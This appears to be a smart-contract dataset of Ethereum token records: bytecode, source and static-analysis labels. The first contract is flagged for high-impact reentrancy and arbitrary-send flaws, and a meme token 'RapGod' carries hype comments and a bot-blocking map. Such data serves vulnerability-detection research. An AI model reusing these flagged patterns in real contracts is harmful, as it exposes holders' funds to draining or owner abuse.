0x6080604052600436106101445760003560e01c806370a08231116100b6578063a9fc35a91161006f578063a9fc35a91461036b578063c3c8cd801461038b578063c9567bf9146103a0578063db92dbb6146103b5578063dd62ed3e146103ca578063e8078d941461041057600080fd5b806370a08231146102cf578063715018a6146102ef5780638da5cb5b1461030457806395d89b4114610150578063a9059cbb1461032c578063a985ceef1461034c57600080fd5b8063313ce56711610108578063313ce5671461021c57806345596e2e14610238578063522644df1461025a5780635932ead11461027a57806368a3a6a51461029a5780636fc3eaec146102ba57600080fd5b806306fdde0314610150578063095ea7b31461019157806318160ddd146101c157806323b872dd146101e757806327f3a72a1461020757600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b506040805180820182526009815268416b616d6520496e7560b81b602082015290516101889190611b96565b60405180910390f35b34801561019d57600080fd5b506101b16101ac366004611acd565b610425565b6040519015158152602001610188565b3480156101cd57600080fd5b5068056bc75e2d631000005b604051908152602001610188565b3480156101f357600080fd5b506101b1610202366004611a8d565b61043c565b34801561021357600080fd5b506101d96104a5565b34801561022857600080fd5b5060405160098152602001610188565b34801561024457600080fd5b50610258610253366004611b30565b6104b5565b005b34801561026657600080fd5b50610258610275366004611b75565b61055e565b34801561028657600080fd5b50610258610295366004611af8565b6105c7565b3480156102a657600080fd5b506101d96102b5366004611a1d565b610646565b3480156102c657600080fd5b50610258610669565b3480156102db57600080fd5b506101d96102ea366004611a1d565b610696565b3480156102fb57600080fd5b506102586106b8565b34801561031057600080fd5b506000546040516001600160a01b039091168152602001610188565b34801561033857600080fd5b506101b1610347366004611acd565b61072c565b34801561035857600080fd5b50601354600160a81b900460ff166101b1565b34801561037757600080fd5b506101d9610386366004611a1d565b610739565b34801561039757600080fd5b5061025861075f565b3480156103ac57600080fd5b50610258610795565b3480156103c157600080fd5b506101d96107e2565b3480156103d657600080fd5b506101d96103e5366004611a55565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561041c57600080fd5b506102586107fa565b6000610432338484610bad565b5060015b92915050565b6000610449848484610cd1565b61049b843361049685604051806060016040528060288152602001611d36602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112a3565b610bad565b5060019392505050565b60006104b030610696565b905090565b6011546001600160a01b0316336001600160a01b0316146104d557600080fd5b603381106105225760405162461bcd60e51b8152602060048201526015602482015274526174652063616e2774206578636565642035302560581b60448201526064015b60405180910390fd5b600b8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020015b60405180910390a150565b60008160ff16116105bf5760405162461bcd60e51b815260206004820152602560248201527f4d617820686f6c64696e67206361702063616e6e6f74206265206c657373207460448201526468616e203160d81b6064820152608401610519565b60ff16601555565b6000546001600160a01b031633146105f15760405162461bcd60e51b815260040161051990611be9565b6013805460ff60a81b1916600160a81b8315158102919091179182905560405160ff9190920416151581527f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870690602001610553565b6001600160a01b0381166000908152600660205260408120546104369042611ce5565b6011546001600160a01b0316336001600160a01b03161461068957600080fd5b47610693816112dd565b50565b6001600160a01b03811660009081526002602052604081205461043690611317565b6000546001600160a01b031633146106e25760405162461bcd60e51b815260040161051990611be9565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610432338484610cd1565b6001600160a01b0381166000908152600660205260408120600101546104369042611ce5565b6011546001600160a01b0316336001600160a01b03161461077f57600080fd5b600061078a30610696565b90506106938161139b565b6000546001600160a01b031633146107bf5760405162461bcd60e51b815260040161051990611be9565b6013805460ff60a01b1916600160a01b1790556107dd4260b4611c8e565b601455565b6013546000906104b0906001600160a01b0316610696565b6000546001600160a01b031633146108245760405162461bcd60e51b815260040161051990611be9565b601354600160a01b900460ff161561087e5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610519565b601280546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556108bb308268056bc75e2d63100000610bad565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f457600080fd5b505afa158015610908573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061092c9190611a39565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561097457600080fd5b505afa158015610988573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ac9190611a39565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b1580156109f457600080fd5b505af1158015610a08573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2c9190611a39565b601380546001600160a01b0319166001600160a01b039283161790556012541663f305d7194730610a5c81610696565b600080610a716000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610ad457600080fd5b505af1158015610ae8573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610b0d9190611b48565b5050670b1a2bc2ec5000006010555042600d5560135460125460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015291169063095ea7b390604401602060405180830381600087803b158015610b7157600080fd5b505af1158015610b85573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba99190611b14565b5050565b6001600160a01b038316610c0f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610519565b6001600160a01b038216610c705760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610519565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d355760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610519565b6001600160a01b038216610d975760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610519565b60008111610df95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610519565b6000546001600160a01b03848116911614801590610e2557506000546001600160a01b03838116911614155b1561124657601354600160a81b900460ff1615610ea5573360009081526006602052604090206002015460ff16610ea557604080516060810182526000808252602080830182815260018486018181523385526006909352949092209251835590519282019290925590516002909101805460ff19169115159190911790555b6013546001600160a01b03838116911614801590610ecc57506001600160a01b0382163014155b15610f3b57610ed9611540565b81610ee384610696565b610eed9190611c8e565b1115610f3b5760405162461bcd60e51b815260206004820152601960248201527f4d617820686f6c64696e67206361702062726561636865642e000000000000006044820152606401610519565b6013546001600160a01b038481169116148015610f6657506012546001600160a01b03838116911614155b8015610f8b57506001600160a01b03821660009081526005602052604090205460ff16155b156110e957601354600160a01b900460ff16610fe95760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e00000000000000006044820152606401610519565b600a8055601354600160a81b900460ff16156110af574260145411156110af5760105481111561101857600080fd5b6001600160a01b038216600090815260066020526040902054421161108a5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b6064820152608401610519565b61109542602d611c8e565b6001600160a01b0383166000908152600660205260409020555b601354600160a81b900460ff16156110e9576110cc42600f611c8e565b6001600160a01b0383166000908152600660205260409020600101555b60006110f430610696565b601354909150600160b01b900460ff1615801561111f57506013546001600160a01b03858116911614155b80156111345750601354600160a01b900460ff165b1561124457600a8055601354600160a81b900460ff16156111c5576001600160a01b03841660009081526006602052604090206001015442116111c55760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b6064820152608401610519565b801561123257600b546013546111fb916064916111f591906111ef906001600160a01b0316610696565b9061156b565b906115ea565b81111561122957600b54601354611226916064916111f591906111ef906001600160a01b0316610696565b90505b6112328161139b565b47801561124257611242476112dd565b505b505b6001600160a01b03831660009081526005602052604090205460019060ff168061128857506001600160a01b03831660009081526005602052604090205460ff165b15611291575060005b61129d8484848461162c565b50505050565b600081848411156112c75760405162461bcd60e51b81526004016105199190611b96565b5060006112d48486611ce5565b95945050505050565b6011546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610ba9573d6000803e3d6000fd5b600060075482111561137e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610519565b600061138861165a565b905061139483826115ea565b9392505050565b6013805460ff60b01b1916600160b01b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106113f157634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601254604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561144557600080fd5b505afa158015611459573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061147d9190611a39565b8160018151811061149e57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526012546114c49130911684610bad565b60125460405163791ac94760e01b81526001600160a01b039091169063791ac947906114fd908590600090869030904290600401611c1e565b600060405180830381600087803b15801561151757600080fd5b505af115801561152b573d6000803e3d6000fd5b50506013805460ff60b01b1916905550505050565b6000606460155461155768056bc75e2d6310000090565b6115619190611cc6565b6104b09190611ca6565b60008261157a57506000610436565b60006115868385611cc6565b9050826115938583611ca6565b146113945760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610519565b600061139483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061167d565b80611639576116396116ab565b6116448484846116d9565b8061129d5761129d600e54600955600f54600a55565b60008060006116676117d0565b909250905061167682826115ea565b9250505090565b6000818361169e5760405162461bcd60e51b81526004016105199190611b96565b5060006112d48486611ca6565b6009541580156116bb5750600a54155b156116c257565b60098054600e55600a8054600f5560009182905555565b6000806000806000806116eb87611812565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061171d908761186f565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461174c90866118b1565b6001600160a01b03891660009081526002602052604090205561176e81611910565b611778848361195a565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516117bd91815260200190565b60405180910390a3505050505050505050565b600754600090819068056bc75e2d631000006117ec82826115ea565b8210156118095750506007549268056bc75e2d6310000092509050565b90939092509050565b600080600080600080600080600061182f8a600954600a5461197e565b925092509250600061183f61165a565b905060008060006118528e8787876119cd565b919e509c509a509598509396509194505050505091939550919395565b600061139483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506112a3565b6000806118be8385611c8e565b9050838110156113945760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610519565b600061191a61165a565b90506000611928838361156b565b3060009081526002602052604090205490915061194590826118b1565b30600090815260026020526040902055505050565b600754611967908361186f565b60075560085461197790826118b1565b6008555050565b600080808061199260646111f5898961156b565b905060006119a560646111f58a8961156b565b905060006119bd826119b78b8661186f565b9061186f565b9992985090965090945050505050565b60008080806119dc888661156b565b905060006119ea888761156b565b905060006119f8888861156b565b90506000611a0a826119b7868661186f565b939b939a50919850919650505050505050565b600060208284031215611a2e578081fd5b813561139481611d12565b600060208284031215611a4a578081fd5b815161139481611d12565b60008060408385031215611a67578081fd5b8235611a7281611d12565b91506020830135611a8281611d12565b809150509250929050565b600080600060608486031215611aa1578081fd5b8335611aac81611d12565b92506020840135611abc81611d12565b929592945050506040919091013590565b60008060408385031215611adf578182fd5b8235611aea81611d12565b946020939093013593505050565b600060208284031215611b09578081fd5b813561139481611d27565b600060208284031215611b25578081fd5b815161139481611d27565b600060208284031215611b41578081fd5b5035919050565b600080600060608486031215611b5c578283fd5b8351925060208401519150604084015190509250925092565b600060208284031215611b86578081fd5b813560ff81168114611394578182fd5b6000602080835283518082850152825b81811015611bc257858101830151858201604001528201611ba6565b81811115611bd35783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b81811015611c6d5784516001600160a01b031683529383019391830191600101611c48565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ca157611ca1611cfc565b500190565b600082611cc157634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611ce057611ce0611cfc565b500290565b600082821015611cf757611cf7611cfc565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461069357600080fd5b801515811461069357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220983c1aa35da6495f283e19075e761a9a79d080391fa54cae4fb095b610078ecd64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
8,832
0xfB5778205c0FEe829bAd5ee1b43062fF067103Cc
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function decimals() external view returns (uint8); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = 0x34cDFD77C01Fa95CeAA277c2D309035ca6CB551e; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract UFP is IERC20, Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor () public { _decimals = 18; _totalSupply = 40000000 * uint(10) ** _decimals; _name = "Unichain Finance Protocol"; _symbol = "UFP"; _balances[0x34cDFD77C01Fa95CeAA277c2D309035ca6CB551e] = _totalSupply; emit Transfer(address(0), 0x34cDFD77C01Fa95CeAA277c2D309035ca6CB551e, _totalSupply); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view override returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(msg.sender, recipient, amount); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(msg.sender, spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806370a082311161008c578063a457c2d711610066578063a457c2d71461027d578063a9059cbb146102a9578063dd62ed3e146102d5578063f2fde38b14610303576100cf565b806370a082311461022b5780638da5cb5b1461025157806395d89b4114610275576100cf565b806306fdde03146100d4578063095ea7b31461015157806318160ddd1461019157806323b872dd146101ab578063313ce567146101e157806339509351146101ff575b600080fd5b6100dc61032b565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561016757600080fd5b506001600160a01b0381351690602001356103c1565b604080519115158252519081900360200190f35b6101996103d7565b60408051918252519081900360200190f35b61017d600480360360608110156101c157600080fd5b506001600160a01b038135811691602081013590911690604001356103dd565b6101e9610446565b6040805160ff9092168252519081900360200190f35b61017d6004803603604081101561021557600080fd5b506001600160a01b03813516906020013561044f565b6101996004803603602081101561024157600080fd5b50356001600160a01b0316610485565b6102596104a0565b604080516001600160a01b039092168252519081900360200190f35b6100dc6104af565b61017d6004803603604081101561029357600080fd5b506001600160a01b038135169060200135610510565b61017d600480360360408110156102bf57600080fd5b506001600160a01b03813516906020013561055f565b610199600480360360408110156102eb57600080fd5b506001600160a01b038135811691602001351661056c565b6103296004803603602081101561031957600080fd5b50356001600160a01b0316610597565b005b60048054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b75780601f1061038c576101008083540402835291602001916103b7565b820191906000526020600020905b81548152906001019060200180831161039a57829003601f168201915b5050505050905090565b60006103ce338484610696565b50600192915050565b60035490565b60006103ea848484610782565b61043c843361043785604051806060016040528060288152602001610a5e602891396001600160a01b038a16600090815260026020908152604080832033845290915290205491906108d4565b610696565b5060019392505050565b60065460ff1690565b3360008181526002602090815260408083206001600160a01b038716845290915281205490916103ce918590610437908661096b565b6001600160a01b031660009081526001602052604090205490565b6000546001600160a01b031690565b60058054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103b75780601f1061038c576101008083540402835291602001916103b7565b60006103ce338461043785604051806060016040528060258152602001610acf602591393360009081526002602090815260408083206001600160a01b038d16845290915290205491906108d4565b60006103ce338484610782565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b6000546001600160a01b031633146105f6576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b03811661063b5760405162461bcd60e51b81526004018080602001828103825260268152602001806109f06026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166106db5760405162461bcd60e51b8152600401808060200182810382526024815260200180610aab6024913960400191505060405180910390fd5b6001600160a01b0382166107205760405162461bcd60e51b8152600401808060200182810382526022815260200180610a166022913960400191505060405180910390fd5b6001600160a01b03808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b6001600160a01b0383166107c75760405162461bcd60e51b8152600401808060200182810382526025815260200180610a866025913960400191505060405180910390fd5b6001600160a01b03821661080c5760405162461bcd60e51b81526004018080602001828103825260238152602001806109cd6023913960400191505060405180910390fd5b61084981604051806060016040528060268152602001610a38602691396001600160a01b03861660009081526001602052604090205491906108d4565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610878908261096b565b6001600160a01b0380841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600081848411156109635760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610928578181015183820152602001610910565b50505050905090810190601f1680156109555780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6000828201838110156109c5576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe45524332303a207472616e7366657220746f20746865207a65726f20616464726573734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220eac264f776a3f07cca7674522c4ac4a55c144f034c67bccd97d39a7a9b3f010264736f6c634300060c0033
{"success": true, "error": null, "results": {}}
8,833
0xd56d80412b49362d85e2eb343cbc83c6c719f3e3
/** *Submitted for verification at Etherscan.io on 2021-06-23 */ // $RapGod // Telegram: https://t.me/RapGodToken // Introducing the only coin on the blockchain that is designed to go up. // 20%+ Slippage // Liquidity will be locked // Ownership will be renounced // EverRise fork, special thanks to them! // Manual buybacks // Fair Launch, no Dev Tokens. 100% LP. // Snipers will be nuked. // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract RapGod is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private bots; mapping (address => uint) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = "RapGod"; string private constant _symbol = unicode'RapGod 🎤'; uint8 private constant _decimals = 9; uint256 private _taxFee; uint256 private _teamFee; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; address payable private _FeeAddress; address payable private _marketingWalletAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable addr1, address payable addr2) { _FeeAddress = addr1; _marketingWalletAddress = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_FeeAddress] = true; _isExcludedFromFee[_marketingWalletAddress] = true; emit 